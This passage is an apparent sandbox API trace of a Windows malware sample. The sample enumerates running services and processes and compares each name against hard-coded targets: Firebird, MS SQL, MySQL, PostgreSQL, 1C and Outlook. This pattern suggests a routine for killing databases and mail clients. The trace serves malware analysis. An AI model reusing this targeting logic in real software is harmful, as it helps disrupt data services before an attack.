1 [0275.488] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0275.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0275.488] lstrlenW (lpString="RpcEptMapper") returned 12 [0275.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0275.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0275.488] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0275.488] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0275.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0275.489] lstrlenW (lpString="RpcSs") returned 5 [0275.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0275.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0275.489] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0275.489] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0275.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0275.489] lstrlenW (lpString="SamSs") returned 5 [0275.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0275.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0275.489] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0275.489] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0275.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0275.490] lstrlenW (lpString="Schedule") returned 8 [0275.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0275.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0275.490] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0275.490] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0275.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0275.491] lstrlenW (lpString="SENS") returned 4 [0275.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0275.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0275.491] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0275.491] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0275.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0275.491] lstrlenW (lpString="ShellHWDetection") returned 16 [0275.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0275.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0275.491] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0275.492] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0275.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0275.492] lstrlenW (lpString="Spooler") returned 7 [0275.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0275.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0275.492] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0275.492] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0275.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0275.492] lstrlenW (lpString="SysMain") returned 7 [0275.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0275.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0275.492] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0275.492] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0275.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0275.493] lstrlenW (lpString="Themes") returned 6 [0275.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0275.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0275.493] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0275.493] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0275.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0275.493] lstrlenW (lpString="TrkWks") returned 6 [0275.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0275.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0275.493] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0275.493] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0275.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0275.493] lstrlenW (lpString="UxSms") returned 5 [0275.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0275.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0275.494] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0275.494] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0275.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0275.494] lstrlenW (lpString="WdiServiceHost") returned 14 [0275.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0275.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0275.494] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0275.494] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0275.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0275.494] lstrlenW (lpString="WdiSystemHost") returned 13 [0275.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0275.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0275.495] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0275.495] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0275.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0275.495] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0275.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0275.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0275.495] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0275.495] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0275.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0275.495] lstrlenW (lpString="Winmgmt") returned 7 [0275.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0275.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0275.496] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0275.496] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0275.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0275.496] lstrlenW (lpString="WPDBusEnum") returned 10 [0275.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0275.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0275.496] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0275.496] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0275.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0275.496] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42e5000 | out: hHeap=0x590000) returned 1 [0275.496] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3b8 [0275.502] Process32FirstW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0275.503] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0275.504] lstrlenW (lpString="System") returned 6 [0275.504] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0275.504] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0275.504] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0275.504] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0275.504] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0275.504] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0275.504] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0275.504] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0275.969] lstrlenW (lpString="smss.exe") returned 8 [0275.969] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0275.969] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0275.969] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0275.969] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0275.969] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0275.969] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0275.969] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0275.969] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0275.971] lstrlenW (lpString="csrss.exe") returned 9 [0275.971] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0275.971] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0275.971] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0275.971] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0275.972] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0275.972] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0275.972] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0275.972] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0275.973] lstrlenW (lpString="wininit.exe") returned 11 [0275.973] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0275.973] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0275.973] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0275.973] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0275.973] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0275.974] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0275.974] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0275.974] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0275.975] lstrlenW (lpString="csrss.exe") returned 9 [0275.975] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0275.975] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0275.975] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0275.975] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0275.975] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0275.975] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0275.976] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0275.976] lstrlenW (lpString="winlogon.exe") returned 12 [0275.977] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0275.978] lstrlenW (lpString="services.exe") returned 12 [0275.978] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0275.979] lstrlenW (lpString="lsass.exe") returned 9 [0275.979] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0275.980] lstrlenW (lpString="lsm.exe") returned 7 [0275.980] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.981] lstrlenW (lpString="svchost.exe") returned 11 [0275.981] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.982] lstrlenW (lpString="svchost.exe") returned 11 [0275.982] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.983] lstrlenW (lpString="svchost.exe") returned 11 [0275.984] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.985] lstrlenW (lpString="svchost.exe") returned 11 [0275.985] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.986] lstrlenW (lpString="svchost.exe") returned 11 [0275.986] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0275.987] lstrlenW (lpString="audiodg.exe") returned 11 [0275.987] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.988] lstrlenW (lpString="svchost.exe") returned 11 [0275.989] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0275.991] lstrlenW (lpString="explorer.exe") returned 12 [0275.991] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0275.992] lstrlenW (lpString="dwm.exe") returned 7 [0275.992] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.993] lstrlenW (lpString="svchost.exe") returned 11 [0275.993] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0275.994] lstrlenW (lpString="winhost.exe") returned 11 [0275.995] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0275.996] lstrlenW (lpString="spoolsv.exe") returned 11 [0275.996] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.997] lstrlenW (lpString="svchost.exe") returned 11 [0275.997] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0275.998] lstrlenW (lpString="taskhost.exe") returned 12 [0275.998] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0275.999] lstrlenW (lpString="reader_sl.exe") returned 13 [0275.999] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0276.000] lstrlenW (lpString="taskhost.exe") returned 12 [0276.001] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0276.001] lstrlenW (lpString="dllhost.exe") returned 11 [0276.002] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x368, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0276.003] lstrlenW (lpString="consent.exe") returned 11 [0276.003] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x74c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0276.004] lstrlenW (lpString="dllhost.exe") returned 11 [0276.004] Process32NextW (in: hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x74c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0276.340] CloseHandle (hObject=0x3b8) returned 1 [0276.340] Sleep (dwMilliseconds=0x1f4) [0277.119] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e388 [0277.122] EnumServicesStatusExW (in: hSCManager=0x62e388, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0277.125] GetLastError () returned 0xea [0277.125] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x11e4) returned 0x42e5000 [0277.125] EnumServicesStatusExW (in: hSCManager=0x62e388, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e5000, cbBufSize=0x11e4, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e5000, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0277.129] CloseServiceHandle (hSCObject=0x62e388) returned 1 [0277.130] lstrlenW (lpString="Appinfo") returned 7 [0277.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0277.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0277.130] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0277.130] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0277.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0277.130] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0277.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0277.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0277.130] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0277.130] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0277.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0277.130] lstrlenW (lpString="AudioSrv") returned 8 [0277.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0277.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0277.131] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0277.131] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0277.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0277.131] lstrlenW (lpString="BFE") returned 3 [0277.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0277.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0277.131] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0277.131] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0277.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0277.131] lstrlenW (lpString="CryptSvc") returned 8 [0277.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0277.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0277.132] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0277.132] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0277.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0277.132] lstrlenW (lpString="CscService") returned 10 [0277.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0277.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0277.132] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0277.132] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0277.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0277.132] lstrlenW (lpString="DcomLaunch") returned 10 [0277.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0277.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0277.133] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0277.133] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0277.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0277.133] lstrlenW (lpString="Dhcp") returned 4 [0277.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0277.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0277.133] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0277.133] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0277.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0277.133] 